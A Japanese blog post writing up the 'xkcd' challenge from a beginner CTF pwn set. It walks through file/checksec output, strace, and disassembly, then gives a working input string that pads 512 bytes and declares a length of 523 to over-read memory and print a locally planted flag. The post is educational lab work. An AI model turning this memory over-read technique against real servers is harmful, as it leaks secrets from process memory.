mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby xkcd

下調べ

mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ file xkcd |sed -e "s/,/\n/g"
xkcd: ELF 64-bit LSB executable
 x86-64
 version 1 (GNU/Linux)
 statically linked
 for GNU/Linux 2.6.32
 not stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ checksec.sh --file xkcd 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   xkcd

NX有効

解析

プログラムを実行するとflagが開けないと言われる.

mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ ./xkcd
Could not open the flag.

straceで実行してみると,どうやらflagという名前のファイルを開いている.今回はこのflagの中身を見ることができれば良いらしい.

mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ strace ./xkcd 
execve("./xkcd", ["./xkcd"], [/* 50 vars */]) = 0
uname({sysname="Linux", nodename="4ctf", ...}) = 0
brk(NULL)                               = 0xde9000
brk(0xdea1c0)                           = 0xdea1c0
arch_prctl(ARCH_SET_FS, 0xde9880)       = 0
readlink("/proc/self/exe", "/home/mattun-mart/Workspace/pwn/"..., 4096) = 46
brk(0xe0b1c0)                           = 0xe0b1c0
brk(0xe0c000)                           = 0xe0c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("flag", O_RDONLY)                  = -1 ENOENT (No such file or directory)
write(1, "Could not open the flag.", 24Could not open the flag.) = 24
write(1, "\n", 1
)                       = 1
exit_group(-1)                          = ?
+++ exited with 255 +++

flag_desuyoという文字列を書いたファイルflagを作成して,再度実行してみると,入力待ちになる.
テキトーに入力してみると,形式が間違っていると言われる.

mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ ./xkcd 
aaa
MALFORMED REQUEST

デバッガで追ってみる.
strtok関数によって入力された文字列を区切り文字?で分解.

[-------------------------------------code-------------------------------------]
   0x401027 <main+201>:	mov    esi,0x487e04
   0x40102c <main+206>:	mov    rdi,rax
   0x40102f <main+209>:	mov    eax,0x0
=> 0x401034 <main+214>:	call   0x4196a0 <strtok>
   0x401039 <main+219>:	cdqe   
   0x40103b <main+221>:	mov    QWORD PTR [rbp-0x28],rax
   0x40103f <main+225>:	mov    rax,QWORD PTR [rbp-0x28]
   0x401043 <main+229>:	mov    esi,0x487e06
Guessed arguments:
arg[0]: 0x6bae20 --> 0xa6161616161 ('aaaaa\n')
arg[1]: 0x487e04 --> 0x524556524553003f ('?')

その後,文字列SERVER, ARE YOU STILL THEREと比較していた.

[-------------------------------------code-------------------------------------]
   0x40103f <main+225>:	mov    rax,QWORD PTR [rbp-0x28]
   0x401043 <main+229>:	mov    esi,0x487e06
   0x401048 <main+234>:	mov    rdi,rax
=> 0x40104b <main+237>:	call   0x4002d0 # 文字列同士を比較.同じ値であればeaxに0を返す.
   0x401050 <main+242>:	test   eax,eax
   0x401052 <main+244>:	je     0x401068 <main+266> # 値が同じであれば処理を継続
   0x401054 <main+246>:	mov    edi,0x487e22
   0x401059 <main+251>:	call   0x408260 <puts>
Guessed arguments:
arg[0]: 0x6bae20 --> 0xa6161616161 ('aaaaa\n')
arg[1]: 0x487e06 ("SERVER, ARE YOU STILL THERE")

その後も,区切り文字によって入力した文字列を分解しながら,処理を進めていく.
結局入力形式は,下記の通り.なお,使用されない値は1文字以上は入力する必要がある.

入力形式:
SERVER, ARE YOU STILL THERE? IF SO, REPLY "出力する文字列"使用されない値(終端文字を挿入する位置)

例:
SERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAA" (4)

やってることはざっくりこんな感じ.デバッガで追っていけばわかる.

1.flagファイルからflagの内容を0x6b7540に読み込み.
2.ユーザから入力された文字列を受け取る
3.入力された文字列から区切り文字?で分解
4.分解した文字列とSERVER, ARE YOU STILL THERE比較.一致していれば処理5,していなければ終了.
5.分解後に残った文字列を区切り文字"で分解
6.分解した文字列と IF SO, REPLY を比較.一致していれば処理7,していなければ終了.
7.5と同様に分解.
8.分解後の文字列をmemcpy関数で0x6b7340にコピー.
9.分解後に残った文字列を区切り文字(で分解.
10.分解後に残った文字列を区切り文字)で分解.
11.分解後の文字列(数値)をsscanfにより,変数に代入.
12.分解後の文字列(数値)+出力する文字列を格納する変数のアドレス(0x6b7340)の位置に終端文字を挿入.
13.出力する文字列の長さ ≧ 10で分解して得た値(終端文字を挿入する位置)であれば,0x6b7340に格納された文字列を出力して,再度2の処理へ.条件が合わなければ終了.

memcpyでコピーされる文字列が格納されるアドレス(0x6b7340)の0x200下にはflagの内容が格納されている.
ということは,0x200(512)文字分出力する文字列を入力し,終端文字列の挿入位置を512+flagにしてやればflagの内容も一緒に出力できる.

Exploit

今回は,flagファイルの中身はflag_desuyoとしたので,523(512+11)の位置に終端文字列を挿入してやれば良い.
ただし実際の問題では,flagの中身がわからないのでflag分の文字数を変えながら徐々に出力してやる必要がある.

SERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" (523)

結果

mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ ./xkcd 
SERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" (523)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag_desuyo